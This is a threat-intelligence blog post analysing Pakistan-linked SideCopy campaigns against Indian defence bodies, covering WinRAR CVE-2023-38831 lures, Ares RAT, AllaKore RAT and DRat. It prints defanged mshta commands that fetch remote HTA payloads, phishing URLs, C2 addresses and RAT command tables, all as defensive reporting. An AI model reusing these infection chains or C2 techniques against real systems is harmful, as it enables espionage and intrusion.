SEQRITE Labs APT-Team has discovered multiple campaigns of APT SideCopy, targeting Indian government and defense entities in the past few months. The threat group is now exploiting the recent WinRAR vulnerability CVE-2023-38831 (See our advisory for more details) to deploy AllaKore RAT, DRat and additional payloads. The compromised domains, used to host payloads by SideCopy, are reused multiple times, resolving to the same IP address. It has also deployed a Linux variant of open-source agent called Ares RAT, where code similarity with its parent threat group Transparent Tribe (APT36) has been found in the stager payload. Conducting multi-platform attacks simultaneously with the same decoys and naming convention, both SideCopy and APT36 share infrastructure and code to aggressively target India.
In this blog, we’ll delve into the technicalities of two such campaigns we encountered during our telemetry analysis. We have observed more similar ongoing campaigns unfold and expect them to continue as the Israel-Hamas conflict intensifies, where not only Pakistan-aligned hacktivists but also other groups against Israel are targeting Indian websites with DDoS, defacement, and data breach attacks.
Threat Actor Profile
SideCopy is a Pakistan-linked Advanced Persistent Threat group that has been targeting South Asian countries, primarily the Indian Defense and Afghanistan government entities, since at least 2019. Almost every month, a new attack campaign has been observed this year in our telemetry, with changes over time where additional stages with Double Action RAT, new .NET-based RAT, and TTPs where PowerShell remote execution has been uncovered by our team. Its arsenal includes Action RAT, AllaKore RAT, Reverse RAT, Margulas RAT and more.
This group is associated as a sub-division of Transparent Tribe (APT36), which has been persistently targeting the Indian Military and is continuing to target university students aggressively this year to share student data, possibly with terrorist groups for recruitment. It has updated its Linux malware arsenal this year with Poseidon and other utilities. Active since 2013, it has continuously used payloads such as Crimson RAT, Capra RAT, and Oblique RAT in its campaigns.
Pakistani agents have used honey traps to lure defense personnel, creating an immense impact and damage by stealing confidential intel in this form of cyber espionage.
Analysis of Campaign-1
The first campaign of SideCopy observed is spread via a phishing link that downloads an archive file named “Homosexuality – Indian Armed Forces.” The decoy document is related to NSRO and is called “ACR.pdf” or “ACR_ICR_ECR_Form_for_Endorsement_New_Policy.pdf.”
Fig. 1 – Decoy PDF
Interestingly, we found the same decoy PDF is utilized by the Linux variant of Ares RAT, which was first seen in the last week of August on Virus Total. Both the compromised domains used resolved to the same IP address, as shown in the below figure. The domains used in April ‘ssynergy[.]in’ and May ‘elfinindia[.]com’ campaigns also point to the same IP. Moreover, the archive files hosted on different domains have the same name, indicating the reuse of compromised domains.
Fig. 2 – Infection chain-1 with the same IP
The phishing URL targeting the Windows platform points to sunfireglobal[.]in, a compromised domain that is not alive at the time of writing, is resolving to the IP: 162.241.85[.]104. URL is:
| hxxps://sunfireglobal[.]in/public/core/homo/Homosexuality%20-%20Indian%20Armed%20Forces.zip |
This contains a malicious shortcut file in a double extension format named “Homosexuality – Indian Armed Forces ․pdf.lnk” that triggers a remote HTA file as:
| C:\Windows\System32\mshta.exe “hxxps://sunfireglobal[.]in/public/assests/files/db/acr/” && tar.exe |
It contains two embedded files that are base64 encoded; one is the decoy PDF, and the other is a DLL. Only minor changes were observed in the HTA, and functionality remains the same – to check the .NET version, fetch the AV installed, decode, and run the DLL in-memory.
After the decoy file is opened by the DLL (preBotHta), it beacons to the same domain and downloads an HTA and the final DLL contents to their target paths. The downloaded HTA is saved as “seqrite.jpg” in the TEMP folder, later moved to the target folder, and executed. Depending on the AV present – SEQRITE, Quick Heal, Kaspersky, Avast, Avira, Bitdefender, and Windows Defender; it executes the final DLL payload.
Fig. 3 – DLL preBotHta run in-memory
Legitimate Windows apps like Credential wizard (credwiz.exe) or EFS REKEY wizard (rekeywiz.exe) are copied beside the target to sideload the DLL. Persistence is maintained via Startup (or) Run registry key to load the final RAT payload on system reboot. (Detailed analysis of Action RAT and all other payloads can be found in our previous whitepaper)
Another archive file with the same name, “Homosexuality – Indian Armed Forces.zip,” is seen that contains an ELF file. It is spread using a domain named “occoman[.]com,” resolving to the same IP address for the sunfireglobal[.].in, showing the sharing of IP between compromised domains.
Fig. 4 – Content of both the archives
Different file names for this Golang-based Linux malware that is masqueraded as a PDF were found as:
| Homosexuality – Indian Armed Forces ․pdf | 2023-10-24 |
| Unit Training Program ․pdf | 2023-09-20 |
| Social Media Usage ․pptx | 2023-08-30 |
Utilizing the GoReSym plugin with IDA, we can extract function metadata as the binary is stripped (See our in-depth analysis of Go-based Warp malware for plugin details).
The process flow is similar to the first stage seen in the case of the Poseidon agent (observed by Uptycs and Zscaler) having the exact target location, though this stage is not compiled using PyInstaller:
- Create a crontab to maintain persistence through system reboot under the current username.
- Download the decoy to the target directory “/.local/share” and open it.
- Download the Ares agent as “/.local/share/updates” and execute it.
Fig. 5 – Process flow of Stage-1
After extracting the contents of the final PyInstaller payload, two Python-compiled files of our interest (agent.pyc and config.pyc) are retrieved. Decompiling and examining them leads to an open-source Python RAT called Ares. The URL format used to ping the server is: “hxxps://(host)/api/(uid)/hello.” and it includes the platform, hostname and username of the victim machine along with it. It supports the following 13 commands for C2 communication.
| Command | Description |
| upload | Uploads a local file to the server |
| download | Downloads a file via HTTP(s) |
| zip | Creates a zip archive of a file or folder |
| cd | Change the current directory |
| screenshot | Takes a screenshot and uploads it to the server |
| python | Runs a Python command or a Python file |
| persist | Installs the agent via AutoStart directory |
| clean | Uninstalls the agent |
| exit | Kills the agent |
| crack | Removes persistence and kills the agent |
| listall | List file directory and upload it to the server |
| help | Display the help |
| <command> | Executes a shell command and returns its output |
No major changes were observed in the agent apart from changing the name from ares to gedit, and the server used by the agent is present in the config file: 161.97.151[.]200:7015. Both the agent and config scripts include the name ‘lee’ pointing to the same agent as referred by Lumen.

Fig. 7 – Agent script
This payload is also named “bossupdate,” a similar naming convention seen with Poseidon and other utilities of Transparent Tribe that starts with the ‘boss’ prefix. APT36 is aiming for the operating system BOSS, developed in India for government entities, and is constantly expanding its Linux arsenal. Back in 2021, SideCopy was linked to the same RAT by QiAnXin’s Red Raindrop Team and a forked version called BackNet by Telsy later.
Analysis of Campaign-2
The second campaign has the same scenario where IP sharing is seen not only with the compromised domains but also with the C2 infrastructure. Exploitation of the recent WinRAR vulnerability CVE-2023-38831 is done via phishing, which downloads malicious archive files. Upon opening the archive files, a pdf file and a folder with the same name are present.
Fig. 8 – Archives used for WinRAR exploitation
Opening the PDF will trigger the vulnerability, quietly launching the payload inside the folder by ShellExecute function of the WinRAR application. The decoy PDF is related to an organization called the ‘All India Association of Non-Gazetted Officers’ (AIANGOs), which mentions a peaceful protest program to the Indian Ministry of Defense. Headquartered in Mumbai, AIANGOs was recognized by GOI, MoD in 2000 under CCS(RSA) Rule 1993 and affiliated to CDRA, as mentioned on their X (Twitter) page.
Fig. 9 – Decoy used in WinRAR exploitation
The payload present in the folder is the AllaKore RAT agent, which has the functionality to steal system information, keylogging, take screenshots, upload & download files, and take the remote access of the victim machine to send commands and upload stolen data to the C2. Additionally, more connections have been made with the C2 utilized and its previous campaign, as described below:
Fig. 10 – Infection chain-2 with IP sharing with domains and C2
Correlation
- A similar attack chain of SideCopy is observed with the lure document “DocScanner-Oct” referring to the Ministry of Defences’ Saudi Delegation. The same decoy was observed to be used by SideCopy & APT36 earlier in an April & May campaign, respectively.
- The compromised domain in this chain, ‘rockwellroyalhomes[.]com’ is resolving to the same IP 103.76.213[.]95 used with the domain ‘isometricsindia[.]co.in,’ which was observed to be used by them in an August campaign utilizing the theme: “US vs. China trade war.”
- The final payload DRat connects with the IP 38.242.149[.]89 for C2 communication used with AllaKore RAT.
- A similar phishing URL is found on the same “rockwellroyalhomes” domain, named similarly “DocScanner_AUG_2023.zip.” This leads to another Ares RAT sample, connecting to C2 having IP 38.242.220[.]166:9012, where the decoy points to India’s Ministry of Defense again regarding the “Parliament Matter.”
Fig. 8 – Decoy used with Ares RAT
The phishing URL is pointing to rockwellroyalhomes[.]com, a compromised domain that is resolving to the IP: 103.76.231[.]95
| hxxps://www.rockwellroyalhomes.com/js/FL/DocScanner-Oct.zip |
This contains a malicious shortcut file in a double extension format named “DocScanner-Oct.zip․pdf.lnk,” that triggers a remote HTA file as:
| C:\Windows\System32\mshta.exe hxxps://www.rockwellroyalhomes.com/js/content/ & mshta.exe |
It contains embedded files that are base64 encoded; they are decoy PDF, DLL, and EXE. Similar checks for anti-virus present on the victim machine is done, opens the decoy and drops the final DRat payload, a new Remote Access Trojan named from the PDB path:
| d:\Projects\C#\D-Rat\DRat Client\Tenure\obj\Release\MSEclipse.pdb |
The 13 commands supported have the following functionality:
| Decoded Command | Functionality |
| getInformitica | Send system info – User & OS name, timestamp, Start-up path |
| sup | Send a ‘supconfirm’ message to start receiving commands |
| close | Send a ‘closure’ message to close the connection and exit |
| Kaamindina | Check running status |
| del | Delete specific directory (or) file and send confirmation |
| enterPath | Enter a specific directory and send attributes for each file & sub-folder |
| backPath | Send the current working directory |
| driveList | Fetch disk info and DeviceID using:
|
| fdl | Upload file attributes |
| fdIConfirm | Upload file |
| fup | Download file |
| fupexec | Download and execute (1) |
| supexec | Download and execute (2) |
Fig. 8 – Reuse of decoy with DRat
Another campaign has been found with similar targeting of Windows and Linux platforms simultaneously. A new payload for Windows, named Key RAT, is deployed in this case along Ares RAT. IOCs for this third campaign have been included at the end.
C2 Infrastructure and Domains
All the C2 servers are registered in Germany to Contabo GmbH, commonly used by both the Pakistan-linked APTs.
| 38.242.149[.]89 | vmi1433024.contaboserver.net | AllaKore RAT and DRat |
| 207.180.192[.]77 | vmi747785.contaboserver.net | Key RAT |
| 38.242.220[.]166 | vmi1390334.contaboserver.net | Ares RAT |
| 161.97.151[.]220 | vmi1370228.contaboserver.net | Ares RAT |
One server of Ares that is linked with multiple baits, is running pfsense firewall on port 9012 for C2 communication – 38.242.220[.]166.

We have seen the machine name ‘desktop-g4b6mh4’ associated with a huge number of shortcut files this year. It is not only observed in these campaigns, but new ones have been used by the threat actor:
- desktop-87p7en5
- desktop-ey8nc5b
Conclusion & Attribution
Expanding its arsenal with zero-day vulnerability, SideCopy consistently targets Indian defense organizations with various remote access trojans. Based on the attack chain, selection of target, baits used and infrastructure; these campaigns are attributed to SideCopy with high confidence. APT36 is expanding its Linux arsenal constantly, where sharing its Linux stagers with SideCopy is observed to deploy an open-source Python RAT called Ares. At the same time, we have observed telemetry hits for this campaign in multiple Indian cities, showing an uptick in activity amidst the Israel-Hamas conflict. Overall, both these and additional campaigns have connections to the sharing of code and infrastructure between these closely related threat groups.
